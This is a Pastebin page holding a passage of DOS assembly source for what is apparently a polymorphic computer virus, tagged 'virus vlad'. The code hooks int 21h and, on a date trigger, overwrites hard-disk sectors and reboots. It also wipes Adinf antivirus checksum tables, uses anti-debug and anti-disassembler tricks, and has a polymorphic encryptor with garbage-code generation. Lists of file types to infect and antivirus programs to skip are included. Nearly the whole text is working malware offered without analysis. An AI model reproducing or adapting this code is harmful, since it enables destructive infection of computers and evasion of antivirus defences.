  969. NO_RET_2:
  970.     CLI
  971.     DB   0EAh,00h,00h,00h,00h   ; OLD int 21h
  972. INT_21h ENDP
  973.  
  974. PREFIX  PROC NEAR
  975.     POP  DI
  976.     PUSH ES
  977.     CALL INT_21h
  978.     PUSHF
  979.     PUSH AX
  980.     MOV  AH,2Fh
  981.     CALL INT_21h
  982.     JMP  DI
  983. PREFIX  ENDP
  984.  
  985. DEBUG   PROC NEAR
  986. ;--------------------
  987. ;   Surprise!
  988. ;   Guess who?
  989. ;--------------------
  990.     mov  ah,2ah
  991.     int  21h
  992.     inc  al
  993.     shl  al,1
  994.     cmp  dl,al
  995.     jnz  lucky
  996.  
  997.     mov  ah,13h
  998.     int  2fh
  999.     push ds
  1000.     push dx
  1001.     mov  ah,13h
  1002.     int  2fh
  1003.     pop  dx
  1004.     pop  ds
  1005.     mov  ax,2513h
  1006.     int  21h
  1007.  
  1008.     mov  cx,0001h
  1009.     mov  dx,0580h
  1010. destroy:
  1011.     mov  ax,0308h
  1012.     int  13h    ; Cruel, isn't it?
  1013.     jc   _more
  1014.     dec  dh
  1015.     jns  destroy
  1016.     mov  dh,05h
  1017.     inc  ch
  1018.     cmp  cx,10h
  1019.     jb   destroy
  1020. _more:
  1021.     inc  dx
  1022.     cmp  dl,81h
  1023.     jbe  destroy
  1024.     int  19h   
  1025. lucky:
  1026. ;--------------------------------------------
  1027. ;   ANTI-DEBUG TRICK (an old & stupid one)
  1028. ;--------------------------------------------
  1029.     IN   AL,21H
  1030.     PUSH AX
  1031.     MOV  AL,0FFh    ; Disable all IRQ
  1032.     OUT  21H,AL
  1033.     POP  AX
  1034.     OUT  21H,AL
  1035. ;---------------------------------------------
  1036. ;   ANTI-DISASSEMBLER TRICK
  1037. ;---------------------------------------------
  1038.     MOV  CX,09EBh
  1039.     MOV  AX,02D2Dh
  1040.     JMP  $-2
  1041.     ADD  AX,02AFFh
  1042.     JMP  $-10
  1043.     INT  21h
  1044. ;----------------------------------------------
  1045.     POP  SI
  1046.     SUB  AL,04Bh    ; Am I here?
  1047.     JNZ  TABLES ; Cirtainly, I am.
  1048.     JMP  SI     ; No installation necessary
  1049. TABLES:
  1050. ;------------------------------------
  1051. ;   Adinf tables to kill!
  1052. ;------------------------------------
  1053. ; P.S.  Adinf - a nasty bitch, which
  1054. ;       creates checksum tables on
  1055. ;   every hard disk drive.
  1056. ;------------------------------------
  1057. ;   To correct a return adress
  1058. ;------------------------------------
  1059.     PUSH SI
  1060.     ADD  SI,BACKDOOR
  1061.     PUSH SI
  1062. ;------------------------------------
  1063.     call DelTab
  1064. mask1   db  'c:\*.*',0
  1065. DelTab:
  1066.     pop  dx
  1067.     push cs
  1068.     pop  ds
  1069.     mov  di,dx
  1070.     mov  byte ptr ds:[di],'c'
  1071. NextDisk:
  1072.     push ds
  1073.     push dx
  1074.     mov  cx,07
  1075.     mov  ah,4eh
  1076.     int  21h
  1077.     jc   NotFound
  1078. NextKill:
  1079.     mov  ah,2fh
  1080.     int  21h
  1081.     pop  di
  1082.     mov  ax,ds:[di]
  1083.     push di
  1084.     push es
  1085.     pop  ds
  1086.     mov  dl,byte ptr ds:[bx+1Eh+06]
  1087.     or   dl,20h
  1088.     cmp  dl,al
  1089.     jne  NextFile
  1090.     mov  word ptr ds:[bx+1bh],ax
  1091.     mov  byte ptr ds:[bx+1dh],'\'
  1092.     lea  dx,[bx+1bh]
  1093.     xor  cx,cx
  1094.     mov  ax,4301h
  1095.     int  21h
  1096.     mov  cl,07
  1097.     mov  ah,3ch
  1098.     int  21h
  1099. NextFile:
  1100.     pop  dx
  1101.     pop  ds
  1102.     push ds
  1103.     push dx
  1104.     mov  ah,4fh
  1105.     int  21h
  1106.     jnc  NextKill
  1107. NotFound:
  1108.     pop  dx
  1109.     pop  ds
  1110.     mov  di,dx
  1111.     inc  byte ptr ds:[di]
  1112.     cmp  al,12h
  1113.     je   NextDisk
  1114. ;-----------------------------
  1115.     RET
  1116. DEBUG   ENDP
  1117.  
  1118. MODUL   PROC NEAR
  1119. ;---------------------------------
  1120. ;   The most difficult
  1121. ;   procedure. No comments!
  1122. ;---------------------------------
  1123.     MOV  DI,VIDEO
  1124.     MOV  ES,DI
  1125.     MOV  SI,10h
  1126.     XOR  DI,DI
  1127.     IN   AX,40h
  1128.  
  1129.     TEST AL,4
  1130.     JZ   NEXT_LEVEL
  1131.  
  1132.     PUSH SI
  1133.     MOV  SI,OFFSET INTINST - 100h + 10h
  1134.     MOV  WORD PTR DS:[SI+1],AX
  1135.     MOV  CX,OFFSET GRID-INTINST
  1136.     REP  MOVSB
  1137.     MOV  CX,(3584-28)/2
  1138.     POP  SI
  1139. INTERNAL:
  1140.     MOVSW
  1141.     XOR  WORD PTR ES:[DI-2],AX
  1142.     LOOP INTERNAL
  1143.  
  1144.     CALL NEW_SEG
  1145.  
  1146. NEXT_LEVEL:
  1147.     TEST AL,1
  1148.     JZ   LAST_LEVEL
  1149.  
  1150.     PUSH SI
  1151.     PUSH DS
  1152.     MOV  SI,OFFSET FICTION - 100h + 10h
  1153.     PUSH CS
  1154.     POP  DS
  1155.     MOV  CX,OFFSET ANTIWEB - FICTION
  1156.     REP  MOVSB
  1157.     MOV  CX,(3584-28)/4
  1158.     POP  DS
  1159.     POP  SI
  1160. MIX:
  1161.     LODSW
  1162.     STOSW
  1163.     MOVSW
  1164.     XOR  WORD PTR ES:[DI-2],AX
  1165.     LOOP MIX
  1166.  
  1167.     CALL NEW_SEG
  1168.  
  1169. LAST_LEVEL:
  1170.     TEST AL,2
  1171.     JZ   POLY_LEVEL
  1172.  
  1173.     PUSH SI
  1174.     PUSH DS
  1175.     MOV  SI,OFFSET GRID - 100h + 10h
  1176.     PUSH CS
  1177.     POP  DS
  1178.     MOV  WORD PTR DS:[SI+1],AX
  1179.     MOV  CX,OFFSET FICTION - GRID
  1180.     REP  MOVSB
  1181.     MOV  CX,(3584-28)/3
  1182.     POP  DS
  1183.     POP  SI
  1184. PITHOLE:
  1185.     MOVSW
  1186.     ADD  WORD PTR ES:[DI-2],AX
  1187.     MOVSB
  1188.     LOOP PITHOLE
  1189.  
  1190.     CALL NEW_SEG
  1191.  
  1192. ;----------------------------------------------------------------
  1193. ;   Creating of polymorphic level.
  1194. ;   PARAMETERS:
  1195. ;   ES - points to buffer of proper size.
  1196. ;   DS - points to segment of code to be encrypted.
  1197. ;   SI - an offset of PATTERN.
  1198. ;
  1199. ;   When finished:
  1200. ;   �S:0 - crypted code.
  1201. ;   DI - its size in bytes.
  1202. ;-----------------------------------------------------------------------------
  1203. ;   A structure of encryptor:
  1204. ;       -------------------------
  1205. ;
  1206. ;   mov reg1,offcode    ; offcode - offset of crypted code
  1207. ;   mov reg2,-vl    ; vl - it's length
  1208. ;   mov reg3,code_1
  1209. ;Decode:
  1210. ;   oper1   word ptr ds:[reg1],reg3
  1211. ;   inc reg1
  1212. ;   inc reg1
  1213. ;   oper2   reg3,code_2
  1214. ;   inc reg2
  1215. ;   jnz Decode
  1216. ;
  1217. ;   --------------------------------
  1218. ;
  1219. ;   reg1        - SI,DI,BX or BP
  1220. ;   reg2,reg3   - AX,BX,CX,DX,BP,SI or DI
  1221. ;   oper1       - XOR,ADD or SUB
  1222. ;   oper2       - ADD or SUB
  1223. ;
  1224. ;   All registers unused in decryptors are used in garbage instructions.
  1225. ;-----------------------------------------------------------------------------
  1226. POLY_LEVEL:
  1227.     IN   AL,40h
  1228.     OR   AL,AL
  1229.     JZ   POLY_LEVEL
  1230.  
  1231.     PUSH SI
  1232.     PUSH DS
  1233.     PUSH CS
  1234.     POP  DS
  1235. ;---------------------------------------------------------
  1236. ;   Random function of 21h call generating.
  1237. ;---------------------------------------------------------
  1238.     XOR  DI,DI
  1239.     MOV  SI,OFFSET ANTIWEB-START+10h
  1240.     MOV  BYTE PTR DS:[SI+1],AL
  1241.     IN   AL,40h
  1242.     AND  AL,0Fh
  1243.     ADD  AL,0E0h
  1244.     MOV  BYTE PTR DS:[SI+3],AL
  1245.  
  1246. ;---------------------------------------------------------
  1247. ;   Antiheuristic patch creating
  1248. ;---------------------------------------------------------
  1249.     MOV  BP,10h+1   ; Don't change SP and AX in decryptor
  1250.     MOV  CX,06h
  1251. ANTI:
  1252.     CMP  CL,2
  1253.     JNE  NO_GLUE
  1254.     MOV  AL,74h
  1255.     STOSB
  1256.     PUSH DI
  1257.     INC  DI
  1258. NO_GLUE:
  1259.     CALL MAKE
  1260.     MOVSW
  1261.     LOOP ANTI
  1262.  
  1263.     POP  BX
  1264.     MOV  AX,DI
  1265.     SUB  AX,BX
  1266.     DEC  AX
  1267.     DEC  AX
  1268.     DEC  AX
  1269.     MOV  BYTE PTR ES:[BX],AL    ; BYTE FOR JE
  1270.  
  1271. ;----------------------------------------------------------
  1272. ;   Creating a decryptor
  1273. ;----------------------------------------------------------
  1274.  
  1275.     SUB  BP,1   ; To free AX
  1276.     CALL MAKE
  1277.  
  1278. ;---------------------------------------------
  1279. ;   First instruction
  1280. ;---------------------------------------------
  1281. instr1:
  1282.     CALL ZEROTWO
  1283.  
  1284.     MOV  AL,BYTE PTR DS:[BX+OFFSET PACK_1-START+10h]
  1285.     STOSB
  1286.     PUSH DI     ; Needed for decryptor
  1287.     STOSW       ; To reserve a place for offset
  1288.     MOV  AL,BYTE PTR DS:[BX+3+OFFSET PACK_1-START+10h]
  1289.     MOV  BYTE PTR DS:[SI+1],AL
  1290.     MOV  AL,BYTE PTR DS:[BX+6+OFFSET PACK_1-START+10h]
  1291.     MOV  AH,AL
  1292.     MOV  WORD PTR DS:[SI+2],AX
  1293.     SUB  AL,40h
  1294.     MOV  BL,AL
  1295.     CALL FILL   ; Make a register busy
  1296.     CALL MAKE
  1297. ;-----------------------------------------------
  1298. ;   Second instruction
  1299. ;-----------------------------------------------
  1300. instr2:
  1301.     call f_reg
  1302.     mov  al,40h
  1303.     add  al,bl
  1304.     mov  byte ptr ds:[si+7],al
  1305.     in   ax,40h
  1306.     and  ax,0Fh
  1307.     sub  ax,(3584-28)/2
  1308.     stosw
  1309.     call make
  1310. ;------------------------------------------------
  1311. ;   Third instruction
  1312. ;------------------------------------------------
  1313. instr3:
  1314.     call f_reg
  1315.  
  1316.     mov  byte ptr ds:[si+5],bl
  1317.  
  1318.     mov  al,8
  1319.     mul  bl
  1320.     add  byte ptr ds:[si+1],al
  1321.     in   ax,40h
  1322.     add  ax,di
  1323.     stosw
  1324.     push di
  1325.     mov  word ptr ds:[offset encryptor - start + 10h - 4],ax
  1326.     call make
  1327. ;--------------------------------------------------
  1328. ;   To choose operations
  1329. ;--------------------------------------------------
  1330.     CALL ZEROTWO
  1331.  
  1332.     mov  al,byte ptr ds:[offset mirror1 - start + 10h + bx]
  1333.     mov  byte ptr ds:[si],al
  1334.     neg  bx
  1335.     mov  al,byte ptr ds:[offset mirror1 - start + 10h + bx + 2]
  1336.     mov  byte ptr ds:[offset encryptor-start+10h+2],al
  1337.  
  1338.     call RND
  1339.  
  1340.     and  bl,1
  1341.     mov  al,byte ptr ds:[offset mirror2 - start + 10h + bx]
  1342.     add  byte ptr ds:[si+5],al
  1343.     add  al,3
  1344.     mov  byte ptr ds:[offset encryptor-start+10h+6],al
  1345.  
  1346. ;-----------------------------------------------------
  1347. ;   To copy rest of decryptor
  1348. ;-----------------------------------------------------
  1349.     movsw
  1350.     call make
  1351.     movsb
  1352.     call make
  1353.     movsb
  1354.     call make
  1355.     movsw
  1356.     IN   AL,40h
  1357.     MOV  BYTE PTR DS:[OFFSET ENCRYPTOR - START + 10h + 7],AL
  1358.     STOSB
  1359.     inc  si
  1360.     call make
  1361.     movsw
  1362.     MOV  AX,0FFh
  1363.     SUB  AX,DI
  1364.     POP  BX
  1365.     ADD  AX,BX  ; BYTE for JNZ instruction
  1366.     stosb
  1367.     call make
  1368.  
  1369.     POP  SI
  1370.     MOV  AX,DI
  1371.     ADD  AX,WORD PTR DS:[newbytes+14h]
  1372.     MOV  WORD PTR ES:[SI],AX        ; Offset of crypted code
  1373.  
  1374.     MOV  CX,(3584-28)/2
  1375.     MOV  BX,0FFFFh
  1376.     POP  DS
  1377.     POP  SI
  1378. ENCRYPTOR:
  1379.     MOVSW
  1380.     XOR  WORD PTR ES:[DI-2],BX
  1381.     SUB  BX,0
  1382.     LOOP ENCRYPTOR
  1383.  
  1384.     PUSH CS
  1385.     POP  DS
  1386.  
  1387.     MOV  DI,3584-28
  1388.     IN   AX,40H
  1389.     STOSW
  1390.     MOV  BX,AX
  1391.     MOV  SI,BYTES
  1392.     MOV  CX,0Dh
  1393.     MOV  AX,'EM'
  1394. CYCLE:
  1395.     XOR  AX,BX
  1396.     STOSW
  1397.     LODSW
  1398.     LOOP CYCLE
  1399. ;-------------------------------
  1400. ;   Write modul to file...
  1401. ;-------------------------------
  1402.     PUSH ES
  1403.     POP  DS
  1404.     XOR  DX,DX
  1405.     MOV  CX,DI
  1406.     CALL WRITE_X
  1407.     CALL SEEK_H
  1408.     PUSH CS
  1409.     POP  DS
  1410.     RET
  1411. MODUL   ENDP
  1412.  
  1413. NEW_SEG PROC NEAR
  1414.     PUSH ES
  1415.     POP  DS
  1416.     MOV  SI,VIDEO
  1417.     MOV  DI,ES
  1418.     CMP  DI,SI
  1419.     JNE  NO_NEW
  1420.     ADD  SI,100h
  1421. NO_NEW:
  1422.     MOV  ES,SI
  1423.     XOR  SI,SI
  1424.     XOR  DI,DI
  1425.     IN   AX,40h
  1426.     RET
  1427. NEW_SEG ENDP
  1428.  
  1429. REMOVE  PROC NEAR
  1430.     PUSH CS
  1431.     POP  DS
  1432.     MOV  CX,VL/2+08h
  1433.     MOV  DI,10h
  1434.     REP  MOVSW
  1435.     RET
  1436. REMOVE  ENDP
  1437.  
  1438. TRIM    PROC NEAR
  1439.     SBB  DX,0
  1440.     XCHG CX,AX
  1441.     XCHG DX,CX
  1442.     XOR  AL,AL
  1443.     CALL SEEK_Z
  1444.     RET
  1445. TRIM    ENDP
  1446.  
  1447. READ_L  PROC NEAR
  1448.     CALL SEEK_E
  1449.     JC   NO_FILE
  1450.  
  1451.     SUB  AX,1Ch
  1452.     CALL TRIM
  1453.  
  1454.     PUSH CS
  1455.     POP  DS
  1456.     MOV  CX,1Ch
  1457.     MOV  DX,BYTES
  1458.     CALL READ_X
  1459.  
  1460.     CLD
  1461.     MOV  SI,BYTES
  1462.     LODSW
  1463.     PUSH SI
  1464.     MOV  CX,0Dh
  1465. DECODE:
  1466.     XOR  WORD PTR DS:[SI],AX
  1467.     INC  SI
  1468.     INC  SI
  1469.     LOOP DECODE
  1470.  
  1471.     POP  SI
  1472.     LODSW
  1473. NO_FILE:
  1474.     CMP  AX,'EM'    ; Brand name ;-)
  1475.     RET
  1476. READ_L  ENDP
  1477.  
  1478. WRITE_L PROC NEAR
  1479.     PUSH SI
  1480.     CALL SEEK_H
  1481.  
  1482.     POP  DX
  1483.     CALL WRITE_H
  1484. TALE_OUT:
  1485.     MOV  AL,2
  1486.     CALL SEEK_X
  1487.  
  1488.     SUB  AX,0E00h
  1489.     CALL TRIM
  1490.  
  1491.     XOR  CX,CX
  1492.     CALL WRITE_X
  1493.     RET
  1494. WRITE_L ENDP
  1495.  
  1496. S_INIT  PROC NEAR
  1497.     MOV  CX,DS:[HNEW]
  1498.     MOV  DX,DS:[LNEW]
  1499. RCOMP:
  1500.     XOR  AX,AX
  1501.     CMP  CX,DS:[NO_HIGH]
  1502.     JB   N_FLAG
  1503.     JA   S_FLAG
  1504.     CMP  DX,DS:[NO_LOW]
  1505.     JB   N_FLAG
  1506. S_FLAG:
  1507.     STC
  1508.     RET
  1509. N_FLAG:
  1510.     CLC
  1511.     RET
  1512. S_INIT  ENDP
  1513.  
  1514. make    proc near
  1515. ;-----------------------
  1516. ; Makes from 1 up to 16
  1517. ; bytes of garbage code
  1518. ;-----------------------
  1519.     in   ax,40h
  1520.     and  ax,00001111b
  1521.     inc  ax         ; Number of bytes
  1522.     mov  dx,ax
  1523. poly:
  1524.     push dx
  1525. ;------------------------------------
  1526. ;   Generate 1-byte command
  1527. ;------------------------------------
  1528. form_1:
  1529.     call RND
  1530.  
  1531.     mov  al,byte ptr ds:[bx+offset data_1-start+10h]
  1532. good_1:
  1533.     stosb
  1534.     dec  dx
  1535. form_2:
  1536. ;-------------------------------------
  1537. ;   Generate 2-bytes command
  1538. ;-------------------------------------
  1539.     cmp  dx,2
  1540.     jb   poly_stop
  1541.  
  1542.     call RND
  1543.     call _free
  1544.     jnz  form_3
  1545.  
  1546.     mov  al,8
  1547.     mul  bl
  1548.     add  al,0C0h
  1549.     push ax
  1550.     call RND
  1551.     pop  ax
  1552.     add  al,bl
  1553.     xchg ah,al
  1554.  
  1555.     mov  al,byte ptr ds:[bx+offset data_2-start+10h]
  1556.     stosw
  1557.     dec  dx
  1558.     dec  dx
  1559. form_3:
  1560. ;-------------------------------------
  1561. ;   Generate 3-bytes command
  1562. ;-------------------------------------
  1563.     cmp  dx,3
  1564.     jb   poly_stop
  1565.  
  1566.     call _form
  1567.     jnz  form_4
  1568.     mov  al,83h
  1569.     stosw
  1570.     in   al,40h
  1571.     stosb
  1572.     sub dx,3   
  1573. form_4:
  1574. ;-------------------------------------
  1575. ;   Generate 4-bytes command
  1576. ;-------------------------------------
  1577.     cmp  dx,4
  1578.     jb   poly_stop
  1579.  
  1580.     call _form
  1581.     jnz  poly_stop
  1582.     mov  al,81h
  1583.     stosw
  1584.     in   ax,40h
  1585.     xor  ax,di
  1586.     stosw
  1587.     sub  dx,4
  1588. poly_stop:
  1589.     or   dx,dx
  1590.     jnz  form_1
  1591.  
  1592.     pop  dx
  1593.  
  1594.     ret
  1595. make    endp
  1596.  
  1597. f_reg   proc near
  1598. instr_x:
  1599.     call rnd
  1600.     call _free
  1601.     jnz  instr_x
  1602.     call fill
  1603.     mov  al,0B8h
  1604.     add  al,bl
  1605.     stosb
  1606.     ret
  1607. f_reg   endp
  1608.  
  1609. zerotwo proc near
  1610.     call rnd
  1611.     mov  ax,bx
  1612.     mov  bl,3
  1613.     div  bl
  1614.     mov  bl,ah
  1615.     ret
  1616. zerotwo endp
  1617.  
  1618. db  '-=Unlimited Grief=-'
  1619.  
  1620. STR1    PROC NEAR
  1621.     PUSH SI
  1622. DOCOMP:
  1623.     CMPSW
  1624.     JNZ  NEXTSTR
  1625.     CMPSB
  1626.     JZ   EXITSTR
  1627.     DEC  SI
  1628.     DEC  DI
  1629. NEXTSTR:
  1630.     INC  SI
  1631.     DEC  DI
  1632.     DEC  DI
  1633.     DEC  CX
  1634.     JNZ  DOCOMP
  1635. EXITSTR:
  1636.     POP  SI
  1637.     JMP  SHORT CHKAWAY
  1638. STR1    ENDP
  1639.  
  1640. CHKNAME PROC NEAR
  1641.     MOV  AL,4
  1642. CHK1:
  1643.     PUSH DI
  1644.     MOV  CL,6
  1645. CHKTHIS:
  1646.     PUSH CX
  1647.     PUSH DI
  1648.     MOV  CL,AL
  1649.     CALL STR1
  1650.     POP  DI
  1651.     POP  CX
  1652.     JNZ  EXITNAME
  1653.     INC  DI
  1654.     LOOP CHKTHIS
  1655. EXITNAME:
  1656.     POP  DI
  1657. CHKAWAY:
  1658.     OR   CX,CX
  1659.     RET
  1660. CHKNAME ENDP
  1661.  
  1662. ;-----------------------------------------------------------------
  1663. ;   These shity programs are too stinky to be even infected
  1664. ;-----------------------------------------------------------------
  1665. EXTEN   db  'COM','EXE','OVL','OVR'
  1666. ANTIV   db  'PRO','SCA','EXT','WEB'
  1667. ARCHV   db  'ARJ','RAR','LHA','ZIP'
  1668. DONOT   db  'COM','WIN'
  1669. ALL db  'CHK'
  1670. ;-----------------------------------------------------------------
  1671. ;   Data for polymorphic engine
  1672. ;-----------------------------------------------------------------
  1673.     data_1   db   0f5h,0f8h,0f9h,0fbh,0fch,0fdh,090h,0cch
  1674.     data_2   db   03h,0bh,013h,01bh,023h,02bh,033h,085h
  1675. pack_1:
  1676.     mov_reg1  db  0beh,0bfh,0bbh
  1677.     xor_reg1  db  04h,05h,07h
  1678.     inc_reg1  db  046h,047h,043h
  1679. operations:
  1680.     mirror1  db  01h,031h,029h
  1681.     mirror2  db  0c0h,0e8h
  1682. ;-------------------------------------------------------------------
  1683.  
  1684. _free   proc near
  1685.     push cx
  1686.     push bx
  1687.     mov  cl,bl
  1688.     mov  bl,1
  1689.     shl  bl,cl
  1690.     test bp,bx
  1691.     pop  bx
  1692.     pop  cx
  1693.     ret
  1694. _free   endp
  1695.  
  1696. _form   proc near
  1697.     call RND
  1698.     and  al,03Fh
  1699.     add  al,0C0h
  1700.     xchg al,ah
  1701.     call _free
  1702.     ret
  1703. _form   endp
  1704.  
  1705. FILL    PROC NEAR
  1706.     PUSH BX
  1707.     PUSH CX
  1708.     MOV  CL,BL
  1709.     MOV  BL,1
  1710.     SHL  BL,CL
  1711.     POP  CX
  1712.     ADD  BP,BX
  1713.     POP  BX
  1714.     RET
  1715. FILL    ENDP
  1716.    
  1717. RND PROC NEAR
  1718. ;---------------------------
  1719. ; A bad way for getting a
  1720. ; random number
  1721. ;---------------------------
  1722.     PUSH DX
  1723.     IN   AX,[40h]
  1724.     ADD  AX,DS:[OFFSET SEED-START+10h]
  1725.     MOV  DX,25173
  1726.     MUL  DX
  1727.     ADD  AX,13849
  1728.     POP  DX
  1729.     MOV  DS:[OFFSET SEED-START+10h],AX
  1730.     XOR  AX,DS:[OFFSET FORXOR-START+10h]
  1731.     MOV  BX,AX
  1732.     AND  BX,7
  1733.     RET
  1734. RND ENDP
  1735.  
  1736. SEED    DW   37849
  1737. FORXOR  DW   559
  1738.  
  1739. db  'Kiev',27h,'96'     ; Kiev'96
  1740.  
  1741. INTINST:
  1742.     MOV  BX,0FFFFh
  1743.     MOV  DX,SS
  1744.     MOV  BP,SP
  1745.     MOV  CX,(3584-28)/2
  1746.     CALL FUCK
  1747. FUCK:
  1748.     POP  SI
  1749.     ADD  SI,OFFSET GRID-FUCK
  1750.     MOV  AX,CS
  1751. PUZZLE:
  1752.     CLI
  1753.     MOV  SS,AX
  1754.     MOV  SP,SI
  1755. CRYPT:
  1756.     POP  AX
  1757.     XOR  AX,BX
  1758.     PUSH AX
  1759.     INC  SP
  1760.     INC  SP
  1761.     LOOP CRYPT
  1762.     MOV  SS,DX
  1763.     MOV  SP,BP
  1764.     STI
  1765. GRID:
  1766.     MOV  AX,0F0Fh
  1767.     MOV  CX,(3584-28)/3
  1768.     CALL FUCK1
  1769. FUCK1:
  1770.     POP  SI
  1771.     ADD  SI,OFFSET FICTION - FUCK1
  1772. GRID_IT:
  1773.     SUB  WORD PTR DS:[SI],AX
  1774.     INC  SI
  1775.     INC  SI
  1776.     INC  SI
  1777.     LOOP GRID_IT
  1778.     JMP  SHORT FICTION
  1779.     db   'EMME 3'
  1780. FICTION:
  1781.     MOV  CX,(3584-28)/4
  1782.     CALL FUCK2
  1783. FUCK2:
  1784.     POP  SI
  1785.     ADD  SI,OFFSET ANTIWEB - FUCK2
  1786.     CLD
  1787. MIX_IT:
  1788.     LODSW
  1789.     XOR  WORD PTR DS:[SI],AX
  1790.     LODSW
  1791.     LOOP MIX_IT
  1792.     JMP  SHORT ANTIWEB
  1793.     db   'Killer'
  1794. ANTIWEB:
  1795. ;--------------------------------
  1796. ;   ANTI-WEB PATTERN
  1797. ;--------------------------------
  1798.     MOV  AL,0E0h
  1799.     MOV  AH,0E0h
  1800.     INT  21h
  1801.     OR   AL,AL
  1802.     INT  20h
  1803.     PUSH CS
  1804.     POP  DS
  1805. ;--------------------------------
  1806. ;   INSTALLATION PATTERN
  1807. ;--------------------------------
  1808. PATTERN:
  1809.     XOR  WORD PTR DS:[DI],BX
  1810.     INC DI
  1811.     INC DI
  1812.     SUB BX,0
  1813.     INC CX
  1814.     JNZ PATTERN
  1815. ;----------------------------------------
  1816. VIREND:
  1817. ;----------------------------------------
  1818. ;   Is it really COOL?
  1819. ;----------------------------------------
  1820.     INT 20h     ; ORIGINAL BYTES
  1821. ;----------------------------------------
  1822.     END  STARTA
Tags: virus vlad
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!